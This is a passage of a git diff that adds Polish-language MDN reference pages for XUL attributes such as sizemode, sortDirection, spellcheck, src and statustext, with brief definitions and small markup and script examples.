+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe"> Zobacz także </h3>
+<ul><li> <code><code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code></code>
+</li></ul>
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/showcommentcolumn/index.html b/files/pl/mozilla/tech/xul/atrybut/showcommentcolumn/index.html
new file mode 100644
index 0000000000..a1cc0f2a5a
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/showcommentcolumn/index.html
@@ -0,0 +1,21 @@
+---
+title: showCommentColumn
+slug: Mozilla/Tech/XUL/Atrybut/showCommentColumn
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/showCommentColumn
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code id="a-showCommentColumn"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/showCommentColumn">showCommentColumn</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Jeśli <code>true</code>, kolumna komentarza pojawi się w okienku wyskakującym. Dla historii adresów URL, kolumnę komentarzy będzie stanowić tytuł strony połączony z każdym adresem URL. Jeśli ten atrybut nie jest określony, kolumna komentarza nie pojawi się.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/atrybut/size/index.html b/files/pl/mozilla/tech/xul/atrybut/size/index.html
new file mode 100644
index 0000000000..1856859259
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/size/index.html
@@ -0,0 +1,21 @@
+---
+title: size
+slug: Mozilla/Tech/XUL/Atrybut/size
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/size
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code id="a-size"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/size">size</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Liczba znaków, które mogą zostać wyświetlone w polu tekstowym.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/atrybut/sizemode/index.html b/files/pl/mozilla/tech/xul/atrybut/sizemode/index.html
new file mode 100644
index 0000000000..9566479900
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/sizemode/index.html
@@ -0,0 +1,26 @@
+---
+title: sizemode
+slug: Mozilla/Tech/XUL/Atrybut/sizemode
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/sizemode
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code id="a-sizemode"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sizemode">sizemode</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ jedna z wartości poniżej</i>
+ </dd>
+ <dd>
+ Stan okna (<code><a href="/pl/docs/Mozilla/Tech/XUL/window" title="window">window</a></code>). Następujące wartości mogą zostać zastosowane:</dd>
+</dl>
+<ul>
+ <li><code>maximized</code>: Okno jest zmaksymalizowane i posiada cały rozmiar na ekranie.</li>
+ <li><code>minimized</code>: Okno jest zminimalizowane lub ukryte.</li>
+ <li><code>normal</code>: Okno wyświetlane jest stanie normalnym, czyli w rozmiarze takim jakim chcemy.</li>
+</ul>
diff --git a/files/pl/mozilla/tech/xul/atrybut/sizetopopup/index.html b/files/pl/mozilla/tech/xul/atrybut/sizetopopup/index.html
new file mode 100644
index 0000000000..0f2a126189
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/sizetopopup/index.html
@@ -0,0 +1,21 @@
+---
+title: sizetopopup
+slug: Mozilla/Tech/XUL/Atrybut/sizetopopup
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+ - Strony_wymagające_dopracowania
+translation_of: Archive/Mozilla/XUL/Attribute/sizetopopup
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+
+<dl>
+ <dt><code id="a-sizetopopup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sizetopopup">sizetopopup</a></code></dt>
+ <dd>Typ:<em>jedna z poniższych wartości</em></dd>
+ <dd>Indicates how the menu width and the <code><a href="/pl/docs/Mozilla/Tech/XUL/menupopup" title="menupopup">menupopup</a></code> width are determined. If the <code>sizetopopup</code> attribute is left out or set to <code>none</code>, the menu will be its preferred width and the popup may extend outside of this width, unaffected by the maximum width of the menu itself.</dd>
+</dl>
+
+<ul>
+ <li><code>none</code>: Szerokość okienka popup nie będzie ograniczało rozmiaru menu.</li>
+ <li><code>always</code>: Jeśli jest ustawiony na <code>always</code>, długość menu będzie taka sama jaka jest potrzebna dla elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/menupopup" title="menupopup">menupopup</a></code>. Jeśli menu posiada maksymalna szerokość, to popup będzie miał tą samą szerokość.</li>
+</ul>
diff --git a/files/pl/mozilla/tech/xul/atrybut/sortactive/index.html b/files/pl/mozilla/tech/xul/atrybut/sortactive/index.html
new file mode 100644
index 0000000000..55507b63ce
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/sortactive/index.html
@@ -0,0 +1,21 @@
+---
+title: sortActive
+slug: Mozilla/Tech/XUL/Atrybut/sortActive
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/sortActive
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code id="a-sortActive"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortActive">sortActive</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Powinien być ustawiony na <code>true</code>, dla kolumn, które powinny być domyślnie sortowane.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/atrybut/sortdirection/index.html b/files/pl/mozilla/tech/xul/atrybut/sortdirection/index.html
new file mode 100644
index 0000000000..b330d81b70
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/sortdirection/index.html
@@ -0,0 +1,26 @@
+---
+title: sortDirection
+slug: Mozilla/Tech/XUL/Atrybut/sortDirection
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/sortDirection
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code id="a-sortDirection"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortDirection">sortDirection</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ jedna z wartości poniżej</i>
+ </dd>
+ <dd>
+ Ustaw ten atrybut na ustawienie kierunku, w którym zawartość szablonów została wygenerowana i posortowana. Zastosuj atrybut <code id="a-sortResource"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource">sortResource</a></code>, aby określić klucz sortowania.</dd>
+</dl>
+<ul>
+ <li><code>ascending</code>: Dane są sortowane w kolejności rosnącej.</li>
+ <li><code>descending</code>: Dane są sortowane w kolejności malejącej.</li>
+ <li><code>natural</code>: Dane są sortowane w zwyczajny sposób, co oznacza porządek w tych, co zostały w magazynie.</li>
+</ul>
diff --git a/files/pl/mozilla/tech/xul/atrybut/sortresource/index.html b/files/pl/mozilla/tech/xul/atrybut/sortresource/index.html
new file mode 100644
index 0000000000..8d1ef44005
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/sortresource/index.html
@@ -0,0 +1,21 @@
+---
+title: sortResource
+slug: Mozilla/Tech/XUL/Atrybut/sortResource
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/sortResource
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code id="a-sortResource"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource">sortResource</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ adres URI predykatu RDF</i>
+ </dd>
+ <dd>
+ Dla szablonu generowanej treści, określa słowo kluczowe sortowania, jeśli będziemy chcieli, aby treść była sortowana. Słowo kluczowe powinno być pełnym adresem URI źródła sortowania, na przykład '<code><span class="nowiki">http://home.netscape.com/NC-rdf#Name</span></code>'. Umieść ten atrybut na tym samym elemencie jako atrybut <code id="a-datasources"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/datasources">datasources</a></code>. Zastosuj <code><code id="a-sortResource2"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource2">sortResource2</a></code></code> do określenia drugiego słowa kluczowego sortowania.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/atrybut/sortresource2/index.html b/files/pl/mozilla/tech/xul/atrybut/sortresource2/index.html
new file mode 100644
index 0000000000..1c1fdb3bf2
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/sortresource2/index.html
@@ -0,0 +1,18 @@
+---
+title: sortResource2
+slug: Mozilla/Tech/XUL/Atrybut/sortResource2
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/sortResource2
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-sortResource2"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource2">sortResource2</a></code>
+</dt><dd> Typ: <i>adres URI predykatu RDF</i>
+</dd><dd> Drugie słowo kluczowe dla sortowanej treści.
+</dd></dl>
+<p><br>
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/spellcheck/index.html b/files/pl/mozilla/tech/xul/atrybut/spellcheck/index.html
new file mode 100644
index 0000000000..7000f4b371
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/spellcheck/index.html
@@ -0,0 +1,25 @@
+---
+title: spellcheck
+slug: Mozilla/Tech/XUL/Atrybut/spellcheck
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/spellcheck
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code id="a-spellcheck"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/spellcheck">spellcheck</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ <b>Nowość od wersji Firefoksa 2.0.0.2</b></dd>
+ <dd>
+ Jeśli <code>true</code>, sprawdzanie pisowni jest włączone domyślnie dla pól tekstowych; jeśli <code>false</code>, sprawdzanie pisowni jest wyłączone domyślnie.</dd>
+ <dd>
+ Jeśli nie jest określone, to domyślnie jest <code>false</code></dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/atrybut/src/index.html b/files/pl/mozilla/tech/xul/atrybut/src/index.html
new file mode 100644
index 0000000000..d70ceaf06d
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/src/index.html
@@ -0,0 +1,35 @@
+---
+title: src
+slug: Mozilla/Tech/XUL/Atrybut/src
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/src
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code id="a-src"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/src">src</a></code></dt>
+ <dd>
+ Typ: <i>URL</i></dd>
+ <dd>
+ Adres URL zawartości do wyświetlenia w elemencie.</dd>
+</dl>
+<div class="noinclude">
+ <h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3>
+ <pre class="brush:xml">&lt;iframe id="content-body" src="http://www.mozilla.org/"/&gt;
+&lt;browser src="http://www.mozilla.org" flex="1"/&gt;
+&lt;image src='Firefoxlogo.png' width='135' height='130'/&gt;
+</pre>
+ <h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3>
+ <ul>
+ <li><code id="a-prefpane.src"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/prefpane.src">prefpane.src</a></code></li>
+ <li><code id="a-treecell.src"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/treecell.src">treecell.src</a></code></li>
+ <li><code id="a-treecol.src"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/treecol.src">treecol.src</a></code></li>
+ <li><code id="a-script.src"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/script.src">script.src</a></code></li>
+ <li><code id="a-stringbundle.src"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/stringbundle.src">stringbundle.src</a></code></li>
+ <li><code id="a-checkbox.src"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/checkbox.src">checkbox.src</a></code></li>
+ </ul>
+</div>
+<p> </p>
diff --git a/files/pl/mozilla/tech/xul/atrybut/state/index.html b/files/pl/mozilla/tech/xul/atrybut/state/index.html
new file mode 100644
index 0000000000..8abd191d0a
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/state/index.html
@@ -0,0 +1,21 @@
+---
+title: state
+slug: Mozilla/Tech/XUL/Atrybut/state
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/state
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-state"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/state">state</a></code>
+</dt><dd> Typ: <i>jedna z wartości poniżej</i>
+</dd><dd> Sygnalizuje gdzie <code><a href="/pl/docs/Mozilla/Tech/XUL/splitter" title="splitter">splitter</a></code> posiada zawiniętą zawartość lub nie. Ten atrybut będzie aktualizowany automatycznie jak rozdzielacz jest przenoszony i generalnie jest stosowany w arkuszu stylów, aby móc zastosować różne wyglądy dla każdego stanu.
+</dd></dl>
+<ul><li> <code>open</code>: Zawartość w obu przypadkach; przed lub za rozdzielaczem zależy od wartości atrybutu <code>collapsed</code>, który jest aktualnie wyświetlany.
+</li><li> <code>collapsed</code>: Zawartość w obu przypadkach; przed lub za rozdzielaczem jest zawinięta i nie jest widoczna.
+</li><li> <code>dragging</code>: Użytkownik aktualnie ręcznie zmienia pozycję rozdzielacza, zazwyczaj poprzez przeciągnięcie go za pomocą myszki.
+</li></ul>
+<div class="noinclude">
+<p>Więcej informacji w artykule o <a href="pl/Kurs_XUL/Rozdzielacze">rozdzielaczach w kursie XUL</a>
+</p>
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/statusbar/index.html b/files/pl/mozilla/tech/xul/atrybut/statusbar/index.html
new file mode 100644
index 0000000000..5e4470211d
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/statusbar/index.html
@@ -0,0 +1,23 @@
+---
+title: statusbar
+slug: Mozilla/Tech/XUL/Atrybut/statusbar
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/statusbar
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code id="a-statusbar"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/statusbar">statusbar</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ id elementu paska stanu</i>
+ </dd>
+ <dd>
+ Jeśli ustawimy ten atrybut na <code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code> elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/statusbar" title="statusbar">statusbar</a></code>, to etykieta na pasku stanu będzie aktualizowana do <code id="a-statustext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/statustext">statustext</a></code> w momencie, gdy użytkownik przesunie kursor myszy nad pozycję w menu.</dd>
+</dl>
+<div class="noinclude">
+  </div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/statustext/index.html b/files/pl/mozilla/tech/xul/atrybut/statustext/index.html
new file mode 100644
index 0000000000..fbbc7ce428
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/statustext/index.html
@@ -0,0 +1,39 @@
+---
+title: statustext
+slug: Mozilla/Tech/XUL/Atrybut/statustext
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/statustext
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-statustext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/statustext">statustext</a></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Stosujemy do ustawienia tekstu, który zostanie wyświetlony na pasku stanu, kiedy użytkownik przesuwa mysz nad elementem. Przeglądarka Mozilli nie reguluje paska stanu automatycznie. Ten atrybut służy tylko jako miejsce do przechowywania tekstu. W Firefoksie, ten tekst jest umieszczany automatycznie w <code><code><a href="/pl/docs/Mozilla/Tech/XUL/statusbar" title="statusbar">statusbar</a></code></code> dla pozycji menu (menuitems) na pasku menu.
+</dd></dl>
+<div class="noinclude">
+<h4 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h4>
+<pre>&lt;!-- ustaw wiadomość do pokazania kiedy najedziemy myszką na przycisk --&gt;
+&lt;button label="Connect" statustext="Connect to remote server"
+ onmouseover="setStatusMessage(this)" onmouseout="clearStatusMessage()"/&gt;
+&lt;button label="Ping" statustext="Ping the server"
+ onmouseover="setStatusMessage(this)" onmouseout="clearStatusMessage()"/&gt;
+
+&lt;statusbar&gt;
+ &lt;statusbarpanel id="myStatusPanel" label="" flex="1"/&gt;
+ &lt;spacer flex="1"/&gt;
+&lt;/statusbar&gt;
+
+&lt;script&gt;
+function setStatusMessage(obj){
+ document.getElementById('myStatusPanel').label = obj.getAttribute('statustext');
+}
+function clearStatusMessage(obj){
+ document.getElementById('myStatusPanel').label = '';
+}
+&lt;/script&gt;
+</pre>
+<h4 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także </h4>
+<p><code><code><a href="/pl/docs/Mozilla/Tech/XUL/statusbar" title="statusbar">statusbar</a></code></code> i <code><code><a href="/pl/docs/Mozilla/Tech/XUL/statusbarpanel" title="statusbarpanel">statusbarpanel</a></code></code>
+</p>
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/stringbundle.src/index.html b/files/pl/mozilla/tech/xul/atrybut/stringbundle.src/index.html
new file mode 100644
index 0000000000..1e2a12e072
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/stringbundle.src/index.html
@@ -0,0 +1,18 @@
+---
+title: stringbundle.src
+slug: Mozilla/Tech/XUL/Atrybut/stringbundle.src
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/stringbundle.src
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <a href="pl/XUL/Atrybut/stringbundle.src">src</a>
+</dt><dd> Typ: <i>własność tekstowa adresu URL pliku</i>
+</dd><dd> Adres URL własności pliku zawierający łańcuch tekstowy do lokalizacji.
+</dd></dl>
+<div class="noinclude">
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe"> Zobacz także </h3>
+<ul><li> <code id="a-src"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/src">src</a></code>
+</li></ul>
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/style/index.html b/files/pl/mozilla/tech/xul/atrybut/style/index.html
new file mode 100644
index 0000000000..3525d99052
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/style/index.html
@@ -0,0 +1,21 @@
+---
+title: style
+slug: Mozilla/Tech/XUL/Atrybut/style
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/style
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code id="a-style"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/style">style</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ styl CSS inline</i>
+ </dd>
+ <dd>
+ Reguły stylu CSS stosowany do elementu. Składnia jest jako atrybut stylu HTML. Jest preferowany do umieszczenia reguł stylu w arkuszu stylów.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/atrybut/subject/index.html b/files/pl/mozilla/tech/xul/atrybut/subject/index.html
new file mode 100644
index 0000000000..2f0352bdc7
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/subject/index.html
@@ -0,0 +1,16 @@
+---
+title: subject
+slug: Mozilla/Tech/XUL/Atrybut/subject
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/subject
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-subject"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/subject">subject</a></code>
+</dt><dd> Temat elementu. Może być odwołaniem się do zmiennej lub URI źródła RDF.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/substate/index.html b/files/pl/mozilla/tech/xul/atrybut/substate/index.html
new file mode 100644
index 0000000000..88dddbd18d
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/substate/index.html
@@ -0,0 +1,27 @@
+---
+title: substate
+slug: Mozilla/Tech/XUL/Atrybut/substate
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/substate
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code id="a-substate"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/substate">substate</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ jedna z wartości poniżej</i>
+ </dd>
+ <dd>
+ W rozdzielaczu, który posiada <code>state="collapsed"</code> i <code>collapse="both"</code>, określa kierunek w którym rozdzielacz aktualnie zawijany. Cechą Gecko 1.9+ jest <code>collapse="both"</code> i nie będzie ona miała efektu we wcześniejszych wersjach.</dd>
+</dl>
+<ul>
+ <li><code>before</code>: Element jest natychmiast zawinięty przed rozdzielaczem.</li>
+ <li><code>after</code>: Element jest natychmiast zawinięty po rozdzielaczu.</li>
+</ul>
+<div class="noinclude">
+  </div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/tab.selected/index.html b/files/pl/mozilla/tech/xul/atrybut/tab.selected/index.html
new file mode 100644
index 0000000000..a317f330cb
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/tab.selected/index.html
@@ -0,0 +1,28 @@
+---
+title: tab.selected
+slug: Mozilla/Tech/XUL/Atrybut/tab.selected
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/tab.selected
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <a href="pl/XUL/Atrybut/tab.selected">selected</a></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Ten atrybut ustawia <code>true</code>, jeśli karta jest zaznaczona domyślnie.</dd>
+</dl>
+<div class="noinclude">
+ <h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3>
+ <ul>
+ <li><a href="pl/XUL/Atrybut/selected">selected</a></li>
+ </ul>
+</div>
+<p> </p>
diff --git a/files/pl/mozilla/tech/xul/atrybut/tabindex/index.html b/files/pl/mozilla/tech/xul/atrybut/tabindex/index.html
new file mode 100644
index 0000000000..886f8e55ec
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/tabindex/index.html
@@ -0,0 +1,15 @@
+---
+title: tabindex
+slug: Mozilla/Tech/XUL/Atrybut/tabindex
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/tabindex
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-tabindex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tabindex">tabindex</a></code>
+</dt><dd> Typ: <i>integer</i>
+</dd><dd> Porządek dla przełączania elementów klawiszem Tab. Elementy o wyższym tabindex umieszczane są w dalszej części sekwencji przełączania.
+</dd></dl>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/tabs.onselect/index.html b/files/pl/mozilla/tech/xul/atrybut/tabs.onselect/index.html
new file mode 100644
index 0000000000..30866b2ac5
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/tabs.onselect/index.html
@@ -0,0 +1,28 @@
+---
+title: tabs.onselect
+slug: Mozilla/Tech/XUL/Atrybut/tabs.onselect
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/tabs.onselect
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <a href="pl/XUL/Atrybut/tabs.onselect">onselect</a></dt>
+ <dd>
+ Typ:
+ <i>
+ kod skryptu</i>
+ </dd>
+ <dd>
+ To zdarzenie jest przesyłane do elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/tabs" title="tabs">tabs</a></code>, kiedy ta karta jest zmieniana.</dd>
+</dl>
+<div class="noinclude">
+ <h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3>
+ <ul>
+ <li><code id="a-onselect"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/onselect">onselect</a></code></li>
+ </ul>
+</div>
+<p> </p>
diff --git a/files/pl/mozilla/tech/xul/atrybut/template.container/index.html b/files/pl/mozilla/tech/xul/atrybut/template.container/index.html
new file mode 100644
index 0000000000..9a9d4fcc17
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/template.container/index.html
@@ -0,0 +1,21 @@
+---
+title: template.container
+slug: Mozilla/Tech/XUL/Atrybut/template.container
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/template.container
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <a href="pl/XUL/Atrybut/template.container">container</a></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Opcjonalnie może być ustawiony na zmienną do zastosowania jako kontener lub odniesienie do zmiennej. Jeśli nie jest określony, zmienna określa w atrybucie <code id="a-uri"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/uri">uri</a></code> użycie znacznika zawartości w pierwszej zasadzie szablonów.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/atrybut/textbox.onchange/index.html b/files/pl/mozilla/tech/xul/atrybut/textbox.onchange/index.html
